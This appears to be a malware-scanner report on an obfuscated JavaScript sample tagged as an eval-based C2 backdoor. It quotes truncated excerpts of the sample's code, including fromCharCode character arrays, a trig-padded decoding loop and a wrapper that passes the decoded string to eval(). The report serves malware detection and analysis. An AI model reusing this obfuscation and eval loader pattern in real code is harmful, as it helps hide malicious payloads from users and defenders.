Suspicious ^80% javascript-malware-collection Download

20151217_85580b9ce0f66fd33506df66d42e3a43.js

obfuscated eval C2 backdoor

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-256c46ae7e0ef3d11663504cb37e37a90b776539628ae18a1694c418f26c4696818

Evidence

Builds characters with String.fromCharCode line 2

2:162… 'W','T','3','-','D','F','[','/','-','A','R','G','-','K','`','8',String.fromCharCode(10),'d','/','F','+','*','(','v','5','k','O','+','!',String.fromCharCode(13),'b','9',']','J','U','t','z','c','!','f','^','#','!','v','M','U','7','s',']','W','O','4','=','3','C','/','C','+','r',']','c','n','p','{','X','r','9','2','J','`','=','(','U …

XOR URL reconstruction call line 2

2:1858… 'l','d','p',' ','+','Z','7','C','m',',','[','?','D','6','e','^',String.fromCharCode(92),'w','b','F','x',']','*','^',']','I','Z','Z','.','_','?','i','I','/','7','M','L','`','_','a','2','h','*','@','9','X','k','b','@','P','G','(','c','I','H','5 …

Calls JavaScript toString conversion method lines 4–10

4:44… uwdGyl){lcEN=zvMDrQyKiOVrklcKB(DFuyCtRRold,RcuBvvPSUiZaq);qMQlR=lcEN.toString(KAuwdGyl);return qMQlR;}
5function PkBDDAoEWaRzAjj(IekkGeqYdMRelKcRs,UdZyOGwCTrPSGLYPozBNHQpBwTNAWxnYjU,JxnrYhpJNKJyUubrerFMnIKpjArSMKxceuj){eval(IekkGeqYdMRelKcRs);}
6function niXUdsZnLYmbqxgmdgaeaYCxUuoMnuGErAWIaYSgipitkADWlQsvvY(gmsyHYkWrBQjC,tkjeDOUvpGYMdn){ return VqVcquR[TwlcLYJv[pVUqM(gmsyHYkWrBQjC[tkjeDOUvpGYMdn],(24687+625)/904,(2123+357)/248)]];}
7function drnmIvV(TXKkCJrVpqBHGfTQUzlXvvFcmWEnAqsGvbOh) {return !zqvenhWKedx(KKybjItLyKKlmHd(TXKkCJrVpqBHGfTQUzlXvvFcmWEnAqsGvbOh)) && rVRVzONHbzYG(TXKkCJrVpqBHGfTQUzlXvvFcmWEnAqsGvbOh);}
8function zqvenhWKedx(HVmfNhIMhNOacI) {return isNaN(HVmfNhIMhNOacI);}
9function rVRVzONHbzYG(XIvPBgyyMgkgx) {return isFinite(XIvPBgyyMgkgx);}
10function zvMDrQyKiOVrklcKB(wciDJgkAqX,jgasaezxse) {return parseInt(wc …

Dense indexed short-token grid lines 12–13

12:33… yJGDlbr,uAvsfRjicqG) {COLDQMpTulStMs[zvIHYTyJGDlbr]=uAvsfRjicqG;}
13var D = new Array();D[0]=[];D[0][0]='d';D[0][1]='a';D[0][2]='d';D[0][3]='a';D[0][4]='46';D[0][5]='3d';D[0][6]='42';D[0][7]='14';D[0][8]='35';D[0][9]='14';D[0][10]='25';D[0][11]='14';D[0][12]='16';D[0][13]='47';D[0][14]='3k';D[0][15]='3d';D[0][16]='44';D[0][17]='3g';D[0][18]='3l';D[0][19]='3g';D[0][20]='49';D[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],D[4],D[5]];
20var dSepgdmAr=[];
21function WGGbdREwonleMMxjx(lSSUa){CkcVXHKqFVr= '';FjUJWGOvZZT=Math.round((Math.pow(Math.sin(122), 2) + Math.pow(Math.cos(122), 2) - 1));while(true){if (FjUJWGOvZZT >= (547+719)/211){break;}dSepgdmAr[FjUJWGOvZZT]=Math.round((Math.pow(Math.sin(729), 2) + Math.pow(Math.cos(729), 2) - 1)); while(true) { if(dSepgdmAr[FjUJWGOvZZT] > lSSUa[FjUJWGOvZZT].length-(297+163)/460) { break; } if (drnmIvV(pVUqM(lSSUa[FjUJWGOvZZT][dSepgdmAr[FjUJWGOvZZT]],(6650+378)/251,(6601+359)/696))) {CkcVXHKqFVr += niXUdsZnLYmbqxgmdgaeaYCxUuoMnuGErAWIaYSgipitkADWlQsvvY([lSSUa[FjUJWGOvZZT][dSepgdmAr[FjUJWGOvZZT]]], Math.round((Math.pow(Math.sin(190), 2) + Math.pow(Math.cos(190), 2) - 1)));} dSepgdmAr[FjUJWGOvZZT]++;}FjUJWGOvZZT++;} return CkcVXHKqFVr}
22var RJOFFBhuqiBRIhPbHLTldapslvoDMkUey = 'jotGUcNOwpBYGXpsMtpZIgIRgHCrGMKDHdGg';var LQvfdxVVyGmRoHnRDVvuVVytvwuImRFy = 'vAsNCrqQtsttvIwSUnxYGUOCesWabDjsqhHL';PkBDDAoEWaRzAjj(WGGbdREwonleMMxjx(lSSUa),RJOFFBhuqiBRIhPbHLTldapslvoDMkUey,LQvfdxVVyGmRoHnRDVvuVVytvwuImRFy);